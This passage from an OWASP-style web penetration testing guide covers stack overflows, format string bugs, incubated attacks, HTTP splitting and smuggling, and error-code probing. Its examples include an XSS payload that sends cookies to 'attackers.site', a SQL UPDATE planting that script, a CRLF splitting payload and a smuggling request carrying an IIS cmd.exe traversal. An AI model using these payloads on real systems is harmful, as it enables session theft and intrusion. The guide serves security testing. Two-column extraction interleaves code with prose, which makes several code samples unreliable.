overflow has actually been triggered or not. Therefore, the steps
required to locate and validate stack overflows would be to at-
tach a debugger to the target application or process, generate
malformed input for the application, subject the application to
malformed input, and inspect responses in a debugger. The de-
bugger allows the tester to view the execution flow and the state
of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be em-


ployed, which involves inspecting assembly code of the appli-
cation by using disassemblers. In this case, various sections are
scanned for signatures of vulnerable assembly fragments. This
is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed


while testing an executable “sample.exe” for stack overflows:

#include<stdio.h>
As shown in the registers window of the debugger, the EIP or Ex-
int main(int argc, char *argv[])
tended Instruction Pointer, which points to the next instruction
{ to be executed, contains the value ‘41414141’. ‘41’ is a hexadeci-
char buff[20]; mal representation for the character ‘A’ and therefore the string
printf(“copying into buffer”); ‘AAAA’ translates to 41414141.
strcpy(buff,argv[1]);
return 0; This clearly demonstrates how input data can be used to over-
} write the instruction pointer with user-supplied values and con-
trol program execution. A stack overflow can also allow over-
writing of stack-based structures like SEH (Structured Exception
File sample.exe is launched in a debugger, in our case OllyDbg. Handler) to control code execution and bypass certain stack pro-
tection mechanisms.

As mentioned previously, other methods of testing such vul-


nerabilities include reverse engineering the application binaries,
which is a complex and tedious process, and using fuzzing tech-
niques.

Gray Box testing


When reviewing code for stack overflows, it is advisable to
search for calls to insecure library functions like gets(), strcpy(),
strcat() etc which do not validate the length of source strings and
blindly copy data into fixed size buffers.

For example consider the following function:-

void log_create(int severity, char *inpt) {

char b[1024];
Since the application is expecting command line arguments, a
large sequence of characters such as ‘A’, can be supplied in the
argument field shown above.
148

Web Application Penetration Testing

In this case the information contained in path could be greater


if (severity == 1) than 40 bytes before ‘\’ can be encountered. If so it will cause a
{ stack overflow. A similar vulnerability was located in Windows
strcat(b,”Error occurred on”); RPCSS subsystem (MS03-026). The vulnerable code copied
strcat(b,”:”); server names from UNC paths into a fixed size buffer until a ‘\’
strcat(b,inpt); was encountered. The length of the server name in this case was
controllable by users.

Apart from manually reviewing code for stack overflows, stat-


FILE *fd = fopen (“logfile.log”, “a”);
ic code analysis tools can also be of great assistance. Although
fprintf(fd, “%s”, b);
they tend to generate a lot of false positives and would barely be
fclose(fd); able to locate a small portion of defects, they certainly help in re-
ducing the overhead associated with finding low hanging fruits,
...... like strcpy() and sprintf() bugs.
} A variety of tools like RATS, Flawfinder and ITS4 are available for
analyzing C-style languages.
From above, the line strcat(b,inpt) will result in a stack overflow
Tools
if inpt exceeds 1024 bytes. Not only does this demonstrate an
• OllyDbg: “A windows based debugger used for analyzing buffer
insecure usage of strcat, it also shows how important it is to
overflow vulnerabilities” - http://www.ollydbg.de
examine the length of strings referenced by a character point-
• Spike, A fuzzer framework that can be used to explore
er that is passed as an argument to a function; In this case the
vulnerabilities and perform length testing - http://www.
length of string referenced by char *inpt. Therefore it is always
immunitysec.com/downloads/SPIKE2.9.tgz
a good idea to trace back the source of function arguments and
• Brute Force Binary Tester (BFB), A proactive binary checker -
ascertain string lengths while reviewing code.
http://bfbtester.sourceforge.net/
• Metasploit, A rapid exploit development and Testing frame
Usage of the relatively safer strncpy() can also lead to stack
work - http://www.metasploit.com
overflows since it only restricts the number of bytes copied into
the destination buffer. If the size argument that is used to ac-
References
complish this is generated dynamically based on user input or
Whitepapers
calculated inaccurately within loops, it is possible to overflow
• Aleph One: “Smashing the Stack for Fun and Profit” -
stack buffers. For example:-
http://insecure.org/stf/smashstack.html
• The Samba trans2open stack overflow vulnerability -
void func(char *source) http://www.
{ securityfocus.com/archive/1/317615
Char dest[40]; • Windows RPC DCOM vulnerability details -
… http://www.xfocus.
size=strlen(source)+1 org/documents/200307/2.html
….
strncpy(dest,source,size)
Testing for Format String
Summary
} This section describes how to test for format string attacks that can
be used to crash a program or to execute harmful code. The prob-
lem stems from the use of unfiltered user input as the format string
where source is user controllable data. A good example would be
parameter in certain C functions that perform formatting, such as
the samba trans2open stack overflow vulnerability (http://www.
printf().
securityfocus.com/archive/1/317615).
Various C-Style languages provision formatting of output by means
Vulnerabilities can also appear in URL and address parsing code.
of functions like printf( ), fprintf( ) etc. Formatting is governed by a
In such cases, a function like memccpy() is usually employed
parameter to these functions termed as format type specifier, typ-
which copies data into a destination buffer from source until a
ically %s, %c etc. The vulnerability arises when format functions are
specified character is not encountered. Consider the function:
called with inadequate parameters validation and user controlled
data.
void func(char *path)
{ A simple example would be printf(argv[1]). In this case the type spec-
char servaddr[40]; ifier has not been explicitly declared, allowing a user to pass charac-
… ters such as %s, %n, %x to the application by means of command line
memccpy(servaddr,path,’\’); argument argv[1].
….
} This situation tends to become precarious since a user who can sup-
ply format specifiers can perform the following malicious actions:
149

Web Application Penetration Testing

Enumerate Process Stack: This allows an adversary to view stack


organization of the vulnerable process by supplying format strings, printf(“The string entered is\n”);
such as %x or %p, which can lead to leakage of sensitive information. printf(“%s”,argv[1]);
It can also be used to extract canary values when the application is return 0;
protected with a stack protection mechanism. Coupled with a stack }
overflow, this information can be used to bypass the stack protector.
when the disassembly is examined using IDA Pro, the address of a
Control Execution Flow: This vulnerability can also facilitate arbi-
format type specifier being pushed on the stack is clearly visible be-
trary code execution since it allows writing 4 bytes of data to an ad-
fore a call to printf is made.
dress supplied by the adversary. The specifier %n comes handy for
overwriting various function pointers in memory with address of the
malicious payload. When these overwritten function pointers get
called, execution passes to the malicious code.

Denial of Service: If the adversary is not in a position to supply ma-


licious code for execution, the vulnerable application can be crashed
by supplying a sequence of %x followed by %n.

How to Test
Black Box testing
The key to testing format string vulnerabilities is supplying format
type specifiers in application input.

For example, consider an application that processes the URL string


http://xyzhost.com/html/en/index.htm or accepts inputs from
forms. If a format string vulnerability exists in one of the routines
On the other hand, when the same code is compiled without “%s” as
processing this information, supplying a URL like http://xyzhost.
an argument , the variation in assembly is apparent. As seen below,
com/html/en/index.htm%n%n%n or passing %n in one of the form
there is no offset being pushed on the stack before calling printf.
fields might crash the application creating a core dump in the hosting
folder.

Format string vulnerabilities manifest mainly in web servers, appli-


cation servers, or web applications utilizing C/C++ based code or CGI
scripts written in C. In most of these cases, an error reporting or log-
ging function like syslog( ) has been called insecurely.

When testing CGI scripts for format string vulnerabilities, the input
parameters can be manipulated to include %x or %n type specifiers.
For example a legitimate request like

http://hostname/cgi-bin/query.cgi?name=john&code=45765

Gray Box testing


can be altered to
While performing code reviews, nearly all format string vulnerabili-
ties can be detected by use of static code analysis tools. Subjecting
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x- the code shown in (1) to ITS4, which is a static code analysis tool,
&code=45765%x.%x gives the following output.

If a format string vulnerability exists in the routine processing this


request, the tester will be able to see stack data being printed out
to browser.

If code is unavailable, the process of reviewing assembly fragments


(also known as reverse engineering binaries) would yield substantial
information about format string bugs.
Take the instance of code (1) :

int main(int argc, char **argv)


{
150

Web Application Penetration Testing

The functions that are primarily responsible for format string vulner- In a penetration test, incubated attacks can be used to assess
abilities are ones that treat format specifiers as optional. Therefore the criticality of certain bugs, using the particular security issue
when manually reviewing code, emphasis can be given to functions found to build a client-side based attack that usually will be used
such as: to target a large number of victims at the same time (i.e. all users
browsing the site).
printf
fprintf This type of asynchronous attack covers a great spectrum of at-
sprintf tack vectors, among them the following:
snprintf
vfprintf • File upload components in a web application, allowing the
vprintf attacker to upload corrupted media files (jpg images exploiting
vsprintf CVE-2004-0200, png images exploiting CVE-2004-0597,
vsnprintf executable files, site pages with active component, etc.)

• Cross-site scripting issues in public forums posts (see Testing


There can be several formatting functions that are specific to the for Stored Cross_site scripting (OTG-INPVAL-002) for additional
development platform. These should also be reviewed for absence details). An attacker could potentially store malicious scripts
of format strings once their argument usage has been understood. or code in a repository in the backend of the web-application
(e.g., a database) so that this script/code gets executed by one
Tools of the users (end users, administrators, etc). The archetypical
• ITS4: “A static code analysis tool for identifying format string incubated attack is exemplified by using a cross-site scripting
vulnerabilities using source code” - http://www.cigital.com/its4 vulnerability in a user forum, bulletin board, or blog in order to
• An exploit string builder for format bugs - http://seclists.org/ inject some JavaScript code at the vulnerable page, and will be
lists/pen-test/2001/Aug/0014.html eventually rendered and executed at the site user’s browser
-using the trust level of the original (vulnerable) site at the user’s
References browser.
Whitepapers
• Format functions manual page - • SQL/XPATH Injection allowing the attacker to upload content to a
http://www.die.net/doc/linux/man/man3/fprintf.3.html database, which will be later retrieved as part of the active content
• Tim Newsham: “A paper on format string attacks” - in a web page. For example, if the attacker can post arbitrary
http://comsec.theclerk.com/CISSP/FormatString.pdf JavaScript in a bulletin board so that it gets executed by users, then
• Team Teso: “Exploiting Format String Vulnerabilities” - he might take control of their browsers (e.g., XSS-proxy).
http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html
• Analysis of format string bugs - • Misconfigured servers allowing installation of Java packages or
http://julianor.tripod.com/format-bug-analysis.pdf similar web site components (i.e. Tomcat, or web hosting consoles
such as Plesk, CPanel, Helm, etc.)
Testing for Incubated Vulnerability
(OTG-INPVAL-015) How to Test
Summary Black Box testing
Also often refered to as persistent attacks, incubated testing is a File Upload Example
complex testing method that needs more than one data valida- Verify the content type allowed to upload to the web application and
tion vulnerability to work. Incubated vulnerabilities are typically the resultant URL for the uploaded file. Upload a file that will exploit
used to conduct “watering hole” attacks against users of legiti- a component in the local user workstation when viewed or down-
mate web applications. loaded by the user. Send your victim an email or other kind of alert in
order to lead him/her to browse the page. The expected result is the
Incubated vulnerabilities have the following characteristics: exploit will be triggered when the user browses the resultant page
or downloads and executes the file from the trusted site.
• The attack vector needs to be persisted in the first place, it
needs to be stored in the persistence layer, and this would only XSS Example on a Bulletin Board
occur if weak data validation was present or the data arrived [1] Introduce JavaScript code as the value for the vulnerable field,
into the system via another channel such as an admin console for instance:
or directly via a backend batch process.
• Secondly, once the attack vector was “recalled” the vector <script>document.write(‘<img src=”http://attackers.site/cv.jp-
would need to be executed successfully. For example, an g?’+document.cookie+’”>’)</script>
incubated XSS attack would require weak output validation so
the script would be delivered to the client in its executable form.
[2] Direct users to browse the vulnerable page or wait for the us-
Exploitation of some vulnerabilities, or even functional features ers to browse it. Have a “listener” at attackers.site host listening
of a web application, will allow an attacker to plant a piece of data for all incoming connections.
that will later be retrieved by an unsuspecting user or other com-
ponent of the system, exploiting some vulnerability there. [3] When users browse the vulnerable page, a request containing
151

Web Application Penetration Testing

their cookie (document.cookie is included as part of the requested ers can then access (most probably with a higher degree of trust
URL) will be sent to the attackers.site host, such as the following: than when accessing a different site).

- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSION- As should also be obvious, the ability to change web page con-
ID=ROGUEIDVALUE; tents at the server, via any vulnerabilities that may be exploit-
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpireP- able at the host which will give the attacker webroot write per-
age=https://vulnerable.site/site/; missions, will also be useful towards planting such an incubated
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1 attack on the web server pages (actually, this is a known infec-
tion-spread method for some web server worms).

Gray Box testing


[4] Use cookies obtained to impersonate users at the vulnerable Gray/white testing techniques will be the same as previously
site. discussed.

SQL Injection Example • Examining input validation is key in mitigating against this
Usually, this set of examples leverages XSS attacks by exploit- vulnerability. If other systems in the enterprise use the same
ing a SQL-injection vulnerability. The first thing to test is whether persistence layer they may have weak input validation and the
the target site has a SQL injection vulnerability. This is described data may be persisited via a “back door”.
in Section 4.2 Testing for SQL Injection. For each SQL-injection
vulnerability, there is an underlying set of constraints describing • To combat the “back door” issue for client side attacks, output
the kind of queries that the attacker/pen-tester is allowed to do. validation must also be employed so tainted data shall be
encoded prior to displaying to the client, and hence not execute.
The tester then has to match the XSS attacks he has devised
with the entries that he is allowed to insert. • See the Data Validation section of the Code review guide.

[1] In a similar fashion as in the previous XSS example, use a web Tools
page field vulnerable to SQL injection issues to change a value in • XSS-proxy - http://sourceforge.net/projects/xss-proxy
the database that would be used by the application as input to be • Paros - http://www.parosproxy.org/index.shtml
shown at the site without proper filtering (this would be a com- • Burp Suite - http://portswigger.net/burp/proxy.html
bination of an SQL injection and a XSS issue). For instance, let’s • Metasploit - http://www.metasploit.com/
suppose there is a footer table at the database with all footers
for the web site pages, including a notice field with the legal no- References
tice that appears at the bottom of each web page. You could use Most of the references from the Cross-site scripting section are
the following query to inject JavaScript code to the notice field at valid. As explained above, incubated attacks are executed when
the footer table in the database. combining exploits such as XSS or SQL-injection attacks.

SELECT field1, field2, field3 Advisories


FROM table_x • CERT(R) Advisory CA-2000-02 Malicious HTML Tags
WHERE field2 = ‘x’; Embedded in Client Web Requests - http://www.cert.org/
UPDATE footer advisories/CA-2000-02.html
SET notice = ‘Copyright 1999-2030%20 • Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site
<script>document.write(\’<img src=”http://attackers.site/ scripting vulnerability - http://lists.grok.org.uk/pipermail/full-
cv.jpg?\’+document.cookie+\’”>\’)</script>’ disclosure/2006-July/048059.html
WHERE notice = ‘Copyright 1999-2030’;
Whitepapers
• Web Application Security Consortium “Threat Classification,
[2] Now, each user browsing the site will silently send his cookies Cross-site scripting” - http://www.webappsec.org/projects/
to the attackers.site (steps b.2 to b.4). threat/classes/cross-site_scripting.shtml

Misconfigured Server Testing for HTTP Splitting/Smuggling


Some web servers present an administration interface that may (OTG-INPVAL-016)
allow an attacker to upload active components of her choice to Summary
the site. This could be the case with an Apache Tomcat server This section illustrates examples of attacks that leverage spe-
that doesn’t enforce strong credentials to access its Web Appli- cific features of the HTTP protocol, either by exploiting weak-
cation Manager (or if the pen testers have been able to obtain nesses of the web application or peculiarities in the way different
valid credentials for the administration module by other means). agents interpret HTTP messages.

In this case, a WAR file can be uploaded and a new web applica- This section will analyze two different attacks that target spe-
tion deployed at the site, which will not only allow the pen tester cific HTTP headers:
to execute code of her choice locally at the server, but also to • HTTP splitting
plant an application at the trusted site, which the site regular us- • HTTP smuggling
152

Web Application Penetration Testing

The first attack exploits a lack of input sanitization which allows HTTP/1.1 302 Moved Temporarily
an intruder to insert CR and LF characters into the headers of the Date: Sun, 03 Dec 2005 16:22:19 GMT
application response and to ‘split’ that answer into two different Location: http://victim.com/main.jsp?interface=advanced
HTTP messages. The goal of the attack can vary from a cache Content-Length: 0
poisoning to cross site scripting.
HTTP/1.1 200 OK
In the second attack, the attacker exploits the fact that some
Content-Type: text/html
specially crafted HTTP messages can be parsed and interpret-
Content-Length: 35
ed in different ways depending on the agent that receives them.
HTTP smuggling requires some level of knowledge about the dif-
ferent agents that are handling the HTTP messages (web server, <html>Sorry,%20System%20Down</html>
proxy, firewall) and therefore will be included only in the Gray Box <other data>
testing section.
The web cache will see two different responses, so if the attacker
How to Test sends, immediately after the first request, a second one asking
Black Box testing for /index.html, the web cache will match this request with the
HTTP Splitting second response and cache its content, so that all subsequent
Some web applications use part of the user input to generate the requests directed to victim.com/index.html passing through
values of some headers of their responses. The most straight- that web cache will receive the “system down” message. In this
forward example is provided by redirections in which the target way, an attacker would be able to effectively deface the site for
URL depends on some user-submitted value. Let’s say for in- all users using that web cache (the whole Internet, if the web
stance that the user is asked to choose whether he/she prefers cache is a reverse proxy for the web application).
a standard or advanced web interface. The choice will be passed
as a parameter that will be used in the response header to trigger Alternatively, the attacker could pass to those users a JavaScript
the redirection to the corresponding page. snippet that mounts a cross site scripting attack, e.g., to steal
the cookies. Note that while the vulnerability is in the application,
More specifically, if the parameter ‘interface’ has the value ‘ad- the target here is its users. Therefore, in order to look for this
vanced’, the application will answer with the following: vulnerability, the tester needs to identify all user controlled input
that influences one or more headers in the response, and check
whether he/she can successfully inject a CR+LF sequence in it.
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT The headers that are the most likely candidates for this attack
Location: http://victim.com/main.jsp?interface=advanced are:
<snip>
• Location
• Set-Cookie
When receiving this message, the browser will bring the user to
the page indicated in the Location header. However, if the ap- It must be noted that a successful exploitation of this vulnera-
plication does not filter the user input, it will be possible to in- bility in a real world scenario can be quite complex, as several
sert in the ‘interface’ parameter the sequence %0d%0a, which factors must be taken into account:
represents the CRLF sequence that is used to separate different
lines. At this point, testers will be able to trigger a response that [1] The pen-tester must properly set the headers in the fake
will be interpreted as two different responses by anybody who response for it to be successfully cached (e.g., a Last-Modified
happens to parse it, for instance a web cache sitting between header with a date set in the future). He/she might also have
us and the application. This can be leveraged by an attacker to to destroy previously cached versions of the target pagers, by
poison this web cache so that it will provide false content in all issuing a preliminary request with “Pragma: no-cache” in the
subsequent requests. request headers
[2] The application, while not filtering the CR+LF sequence,
Let’s say that in the previous example the tester passes the fol- might filter other characters that are needed for a successful
lowing data as the interface parameter: attack (e.g., “<” and “>”). In this case, the tester can try to use
other encodings (e.g., UTF-7)
advanced%0d%0aContent-Length:%20 [3] Some targets (e.g., ASP) will URL-encode the path part of the
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Location header (e.g., www.victim.com/redirect.asp), making
Type:%20text/html%0d%0aContent-Length:%20 a CRLF sequence useless. However, they fail to encode the
35%0d%0a%0d%0a<html>Sorry,%20System%20Down</ query section (e.g., ?interface=advanced), meaning that a
html> leading question mark is enough to bypass this filtering

For a more detailed discussion about this attack and other in-
The resulting answer from the vulnerable application will there- formation about possible scenarios and applications, check the
fore be the following: papers referenced at the bottom of this section.
153

Web Application Penetration Testing

Gray Box testing


HTTP Splitting Connection: Keep-Alive
A successful exploitation of HTTP Splitting is greatly helped by Content-Length: 33
knowing some details of the web application and of the attack <CRLF>
target. For instance, different targets can use different meth- POST /target.asp HTTP/1.0 <-- Request #3
ods to decide when the first HTTP message ends and when the xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
second starts. Some will use the message boundaries, as in the HTTP/1.0 <-- Request #4
previous example. Other targets will assume that different mes- Connection: Keep-Alive
sages will be carried by different packets. Others will allocate for <CRLF>
each message a number of chunks of predetermined length: in
this case, the second message will have to start exactly at the What happens here is that the Request #1 is made of 49223
beginning of a chunk and this will require the tester to use pad- bytes, which includes also the lines of Request #2. Therefore, a
ding between the two messages. This might cause some trouble firewall (or any other agent beside IIS 5.0) will see Request #1,
when the vulnerable parameter is to be sent in the URL, as a very will fail to see Request #2 (its data will be just part of #1), will see
long URL is likely to be truncated or filtered. A gray box scenar- Request #3 and miss Request #4 (because the POST will be just
io can help the attacker to find a workaround: several applica- part of the fake header xxxx).
tion servers, for instance, will allow the request to be sent using
POST instead of GET. Now, what happens to IIS 5.0 ? It will stop parsing Request #1
right after the 49152 bytes of garbage (as it will have reached
HTTP Smuggling the 48K=49152 bytes limit) and will therefore parse Request #2
As mentioned in the introduction, HTTP Smuggling leverages the as a new, separate request. Request #2 claims that its content is
different ways that a particularly crafted HTTP message can be 33 bytes, which includes everything until “xxxx: “, making IIS miss
parsed and interpreted by different agents (browsers, web cach- Request #3 (interpreted as part of Request #2) but spot Request
es, application firewalls). This relatively new kind of attack was #4, as its POST starts right after the 33rd byte or Request #2. It
first discovered by Chaim Linhart, Amit Klein, Ronen Heled and is a bit complicated, but the point is that the attack URL will not
Steve Orrin in 2005. There are several possible applications and be detected by the firewall (it will be interpreted as the body of
we will analyze one of the most spectacular: the bypass of an a previous request) but will be correctly parsed (and executed)
application firewall. Refer to the original whitepaper (linked at by IIS.
the bottom of this page) for more detailed information and other
scenarios. While in the aforementioned case the technique exploits a bug of
a web server, there are other scenarios in which we can leverage
Application Firewall Bypass the different ways that different HTTP-enabled devices parse
There are several products that enable a system administration messages that are not 1005 RFC compliant. For instance, the
to detect and block a hostile web request depending on some HTTP protocol allows only one Content-Length header, but does
known malicious pattern that is embedded in the request. For not specify how to handle a message that has two instances of
example, consider the infamous, old Unicode directory travers- this header. Some implementations will use the first one while
al attack against IIS server (http://www.securityfocus.com/ others will prefer the second, cleaning the way for HTTP Smug-
bid/1806), in which an attacker could break out the www root by gling attacks. Another example is the use of the Content-Length
issuing a request like: header in a GET message.

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/ Note that HTTP Smuggling does *not* exploit any vulnerability
c+<command_to_execute> in the target web application. Therefore, it might be somewhat
tricky, in a pen-test engagement, to convince the client that a
countermeasure should be looked for anyway.
Of course, it is quite easy to spot and filter this attack by the
presence of strings like “..” and “cmd.exe” in the URL. How- References
ever, IIS 5.0 is quite picky about POST requests whose body is Whitepapers
up to 48K bytes and truncates all content that is beyond this • Amit Klein, “Divide and Conquer: HTTP Response Splitting,
limit when the Content-Type header is different from applica- Web Cache Poisoning Attacks, and Related Topics” - http://
tion/x-www-form-urlencoded. The pen-tester can leverage this www.packetstormsecurity.org/papers/general/whitepaper_
by creating a very large request, structured as follows: httpresponse.pdf
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP
Request Smuggling” - http://www.watchfire.com/news/
POST /target.asp HTTP/1.1 <-- Request #1 whitepapers.aspx
Host: target • Amit Klein: “HTTP Message Splitting, Smuggling and
Connection: Keep-Alive Other Animals” - http://www.owasp.org/images/1/1a/
Content-Length: 49225 OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.
<CRLF> ppt
<49152 bytes of garbage> • Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS
POST /target.asp HTTP/1.0 <-- Request #2 48K buffer phenomenon)” - http://www.securityfocus.com/
archive/1/411418
154

Web Application Penetration Testing

• Amit Klein: “HTTP Response Smuggling” - FO-002).


http://www.securityfocus.com/archive/1/425593
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Application Server Errors
Request Smuggling” - http://www.cgisecurity.com/lib/http- Application errors are returned by the application itself, rather
request-smuggling.pdf than the web server. These could be error messages from frame-
work code (ASP, JSP etc.) or they could be specific errors returned
Testing for Error Code (OTG-ERR-001) by the application code. Detailed application errors typically pro-
Summary vide information of server paths, installed libraries and applica-
Often, during a penetration test on web applications, we come tion versions.
up against many error codes generated from applications or
web servers. It’s possible to cause these errors to be displayed Database Errors
by using a particular requests, either specially crafted with tools Database errors are those returned by the Database System
or created manually. These codes are very useful to penetration when there is a problem with the query or the connection. Each
testers during their activities, because they reveal a lot of infor- Database system, such as MySQL, Oracle or MSSQL, has their
mation about databases, bugs, and other technological compo- own set of errors. Those errors can provide sensible information
nents directly linked with web applications. such as Database server IPs, tables, columns and login details.

This section analyses the more common codes (error messag- In addition, there are many SQL Injection exploitation techniques
es) and bring into focus their relevance during a vulnerability as- that utilize detailed error messages from the database driver, for
sessment. The most important aspect for this activity is to focus in depth information on this issue see Testing for SQL Injection
one’s attention on these errors, seeing them as a collection of (OTG-INPVAL-005) for more information.
information that will aid in the next steps of our analysis. A good
collection can facilitate assessment efficiency by decreasing the Web server errors aren’t the only useful output returned requir-
overall time taken to perform the penetration test. ing security analysis. Consider the next example error message:

Attackers sometimes use search engines to locate errors that Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
disclose information. Searches can be performed to find any er- [DBNETLIB][ConnectionOpen(Connect())] - SQL server does not
roneous sites as random victims, or it is possible to search for exist or access denied
errors in a specific site using the search engine filtering tools as
described in 4.2.1 Conduct Search Engine Discovery and Recon-
naissance for Information Leakage (OTG-INFO-001) What happened? We will explain step-by-step below.

Web Server Errors In this example, the 80004005 is a generic IIS error code which
A common error that we can see during testing is the HTTP 404 indicates that it could not establish a connection to its associated
Not Found. Often this error code provides useful details about database. In many cases, the error message will detail the type
the underlying web server and associated components. For ex- of the database. This will often indicate the underlying operating
ample: system by association. With this information, the penetration
tester can plan an appropriate strategy for the security test.
Not Found
By manipulating the variables that are passed to the database
The requested URL /page.html was not found on this server.
connect string, we can invoke more detailed errors.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2
PHP/5.1.2 Server at localhost Port 80
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
This error message can be generated by requesting a non-ex- [Microsoft][ODBC Access 97 ODBC driver Driver]General error
istent URL. After the common message that shows a page not Unable to open registry key ‘DriverId’
found, there is information about web server version, OS, mod-
ules and other products used. This information can be very im-
portant from an OS and application type and version identifica- In this example, we can see a generic error in the same situation
tion point of view. which reveals the type and version of the associated database
system and a dependence on Windows operating system regis-
Other HTTP response codes such as 400 Bad Request, 405 try key values.
Method Not Allowed, 501 Method Not Implemented, 408 Re-
quest Time-out and 505 HTTP Version Not Supported can be Now we will look at a practical example with a security test
forced by an attacker. When receiving specially crafted requests, against a web application that loses its link to its database serv-
web servers may provide one of these error codes depending on er and does not handle the exception in a controlled manner. This
their HTTP implementation. could be caused by a database name resolution issue, processing
of unexpected variable values, or other network problems.
Testing for disclosed information in the Web Server error codes
is related testing for information disclosed in the HTTP headers Consider the scenario where we have a database administration
as described in the section Fingerprint Web Server (OTG-IN- web portal, which can be used as a front end GUI to issue database
155

Web Application Penetration Testing

queries, create tables, and modify database fields. During the Result:
POST of the logon credentials, the following error message is Firewall version used for authentication:
presented to the penetration tester. The message indicates the
presence of a MySQL database server: Error 407
FW-1 at <firewall>: Unauthorized to access the document.
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) • Authorization is needed for FW-1.
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host • The authentication required by FW-1 is: unknown.
• Reason for failure of last attempt: no user

If we see in the HTML code of the logon page the presence of a


hidden field with a database IP, we can try to change this value Test: 400 Bad Request
in the URL with the address of database server under the pene-
tration tester’s control in an attempt to fool the application into telnet <host target> 80
thinking that the logon was successful. GET / HTTP/1.1
<CRLF><CRLF>
Another example: knowing the database server that services a
web application, we can take advantage of this information to
carry out a SQL Injection for that kind of database or a persistent Result:
XSS test.
HTTP/1.1 400 Bad Request
How to Test
Date: Fri, 06 Dec 2013 23:57:53 GMT
Below are some examples of testing for detailed error messages
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
returned to the user. Each of the below examples has specific
Suhosin-Patch
information about the operating system, application version, etc.
Vary: Accept-Encoding
Content-Length: 301
Test: 404 Not Found
Connection: close
telnet <host target> 80 Content-Type: text/html; charset=iso-8859-1
GET /<wrong page> HTTP/1.1 ...
host: <host target> <title>400 Bad Request</title>
<CRLF><CRLF> ...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at 127.0.1.1 Port 80</address>
Result:
...
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT Test: 405 Method Not Allowed
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310 telnet <host target> 80
Connection: close PUT /index.html HTTP/1.1
Content-Type: text/html; charset=iso-8859-1 Host: <host target>
... <CRLF><CRLF>
<title>404 Not Found</title>
...
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g Result:
at <host target> Port 80</address>
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Test: Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Network problems leading to the application being unable to Allow: GET, HEAD, POST, OPTIONS
access the database server Vary: Accept-Encoding
Content-Length: 315
Result: Connection: close
Content-Type: text/html; charset=iso-8859-1
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘ ...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host <title>405 Method Not Allowed</title>
...
Test: <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
Authentication failure due to missing credentials ...
156

Web Application Penetration Testing

Test: 408 Request Time-out Result:

telnet <host target> 80 Directory Listing Denied


GET / HTTP/1.1 This Virtual Directory does not allow contents to be listed.
- Wait X seconds – (Depending on the target server, 21
seconds for Apache by default)
Tools
• ErrorMint - http://sourceforge.net/projects/errormint/
Result: • ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
Attack_Proxy_Project
HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT References
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with • [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1
Suhosin-Patch • [ErrorDocument] Apache ErrorDocument Directive
Vary: Accept-Encoding • [AllowOverride] Apache AllowOverride Directive
Content-Length: 298 • [ServerTokens] Apache ServerTokens Directive
Connection: close • [ServerSignature] Apache ServerSignature Directive
Content-Type: text/html; charset=iso-8859-1
... Remediation
<title>408 Request Time-out</title> Error Handling in IIS and ASP .net
... ASP .net is a common framework from Microsoft used for de-
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 veloping web applications. IIS is one of the commonly used web
